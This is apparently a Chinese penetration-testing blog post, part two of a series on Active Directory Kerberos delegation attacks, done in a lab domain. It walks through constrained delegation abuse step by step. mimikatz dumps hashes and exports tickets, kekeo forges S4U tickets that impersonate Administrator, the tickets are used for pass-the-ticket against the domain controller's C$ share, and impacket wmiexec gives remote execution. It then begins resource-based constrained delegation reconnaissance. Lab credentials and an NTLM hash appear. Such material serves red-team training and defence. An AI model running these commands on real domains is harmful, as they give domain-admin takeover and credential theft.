域渗透之委派攻击全集(二)

简介: 域渗透之委派攻击全集

约束性委派

由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,如下所示

在约束委派中的kerberos中,用户同样还是会将TGT发送给相关受委派的服务,但是由于S4U2proxy的影响,对发送给受委派的服务去访问其他服务做了限制,不允许受委派的服务代表用户使用这个TGT去访问任意服务,而是只能访问指定的服务。

引入了两个新的概念

S4U2Self和S4U2Proxy

S4U2self

允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST),该服务票据TGS(ST)包含了用户的相关信息,比如该用户的组信息等。

S4U2proxy

允许受约束委派的服务通过服务票据ST,然后代表用户去请求指定的服务。

大概过程:

具体的原理介绍就不详细说明了 可自行百度

直接实验

配置约束性委派

机器账户

这里配置一个能进行协议转换的

服务账户

因为上面注册了SPN 这里就不注册了 直接使用

查询机器用户(主机)配置约束委派

AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询服务账户

AdFind.exe -b "DC=haishi,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

利用方式1

使用机器账户WEB

条件

administrator权限

获取配置了约束委派的服务账户或者机器账户的凭据 明文密码 hash都可

先拿到WEB的票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

使用kekeo申请服务票据

kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-2-40e10000-WEB$@krbtgt-HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"

现在无法访问

导入票据

mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"

导入之后 就能访问了

利用方式2

使用机器账户的hash

先获取机器账户的hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

请求票据

kekeo.exe "tgt::ask /user:WEB$ /domain:haishi.com /NTLM:48b1ee6132349190ee7c47d4b5d91608" "exit"

# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_WEB$@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"

因为名字一样 把刚才的覆盖了

然后导入票据

mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"

访问

# 访问
dir \\DC.haishi.com\c$

利用方式3

用机器账户的hash 远程wmiexec登录

利用之前获取到的hash

48b1ee6132349190ee7c47d4b5d91608

用getST申请服务票据

python3 getST.py -dc-ip 10.150.127.166 -spn CIFS/DC.haishi.com -impersonate administrator haishi.com/WEB$ -hashes :48b1ee6132349190ee7c47d4b5d91608

然后导入票据

export KRB5CCNAME=administrator.ccache

python3 wmiexec.py -k haishi.com/administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166


这里有个小tips

需要将域名加入到hosts

不然会报错

以后遇到这种错误就可能是没有将域名加入到hosts

加入之后

利用方式4

使用服务账户many

这里直接用密码

先申请tgt

kekeo.exe "tgt::ask /user:many /domain:haishi.com /password:asd123! /ticket:many.kirbi" "exit"

然后伪造其他用户 申请tgs票据

kekeo.exe "Tgs::s4u /tgt:TGT_many@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:administrator@haishi.com /service:cifs/DC.haishi.com" "exit"

导入票据

mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"

然后访问

dir \\dc.haishi.com\c$

获取到服务账户的hash

操作同前面类似 就不做演示了

但在实战中 约束性委派也遇到的很少

基于资源的约束性委派

为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。

上面”基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员”,这就导致了正常只要是域用户都有权限进行委派操作。

与约束委派最大的不同点,就是”基于资源”这四个字,如何理解”基于资源”?在设置相关的约束委派的实现的时候不再需要域管理员自己去设置相关约束委派的属性,而操作权落在了当前登录的机器或者用户的手中

基于资源的约束性委派的优势

  • 委派的权限授予给了拥有资源的后端,而不再是前端
  • 约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
  • 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehaffOtherldentity属性权限也就是将计算机加入域的域用户和机器自身拥有权限。

约束性委派和基于资源的约束性委派配置的差别

  • 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
  • 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)

条件

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限(如已经控制的主机是WEB 则具有修改WEB主机的msDS-AllowedToActOnBehalfOfOtherIdentity的权限账户)
  2. 可以创建机器账户的域用户(或已知机器账户)

什么用户能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性:

  • 将主机加入域的用户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了)
  • Account Operator组成员
  • 该主机的机器账户

什么是将机器加入域的域用户?

因为将一个机器加入域的时候不是要输入一个域用户的账户密码吗 就是输入的这个用户

如果一个域环境 域用户A 将域内win2012 和 win7 加入了域 我们拿到了域用户A的权限 就可以拿下win2012 和 win7

如果我们拿到了Account Operators组内用户权限的话,则我们可以拿到除域控外所有机器的system权限。(因为Account Operators组内用户可以修改域内任意主机(除了域控)的msDS-AllowedToActOnBehalfOfOtherIdentity属性)

这里我为了实验因为刚开始没有用many加入域 用的是域控 就重新设置一下机器 先脱域 然后重新加入

然后委派这些也都删除

查询把WEB加入域的用户

AdFind.exe -h 10.150.127.166 -b "DC=haishi,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

当前登录的是域用户many ip是域控的166

这里可以看到一个sid:S-1-5-21-1400638014-602433399-2258725660-1146

sid2user.exe \\10.150.127.166 5 21 1400638014 602433399 2258725660 1146

可以看到 用户是many

WEB是被many加入域的

相关文章
|
8月前
|
数据安全/隐私保护
「域渗透」域账户的几种攻击方式
「域渗透」域账户的几种攻击方式
|
缓存 安全 前端开发
域委派攻击详解
域委派攻击详解
1007 0
|
安全 数据安全/隐私保护 Windows
域渗透之委派攻击全集(三)
域渗透之委派攻击全集
141 0
|
SQL 缓存 安全
域渗透之委派攻击全集(一)
域渗透之委派攻击全集
151 0
|
开发框架 安全 Java
黑客术语解析
黑客术语解析
|
监控 安全 算法
5种顶级欺骗工具以及它们如何让网络攻击者落入陷阱
5种顶级欺骗工具以及它们如何让网络攻击者落入陷阱
361 0
|
安全 Windows
蠕虫创建多重替身 利用伪装术迷惑用户
        蠕虫W32.Korron.B可谓“功能”繁多,创建多重替身、善于伪装的特点令用户难以察觉。  病毒名称:W32.Korron.B  病毒类型:蠕虫  受影响的操作系统:Windows 2000/XP/Vista/NT、Windows Server 2003  病毒分析:  修改系统设置、替换特定文件、结束杀毒软件进程—W32.Korron.B蠕虫可谓“功能”繁多;创建多重替身、善于伪装的特点也令用户难以察觉该蠕虫在系统中的存在和危害。
833 0
|
安全 Windows 数据安全/隐私保护
组合利用AdminSDHolder和SDProp打造隐蔽域控后门
本文讲的是组合利用AdminSDHolder和SDProp打造隐蔽域控后门,本文中的内容描述了一种方法,通过该方法,攻击者可以在拥有域管理员级别的权限的5分钟后,就可以持续对Active Directory的进行管理访问。
1576 0
|
安全 数据安全/隐私保护
域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍
本文讲的是域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍,在演讲中他们使用图论和Active Directory对象权限来回答“谁能成为域管理员”的问题?我强烈建议你查看他们的演示文稿和白皮书,我们从这些资料中为BloodHound项目获得了最初的一些灵感以及我们添加到BloodHound攻击图的对象控制路径的非常有用的和具体的信息。
1607 0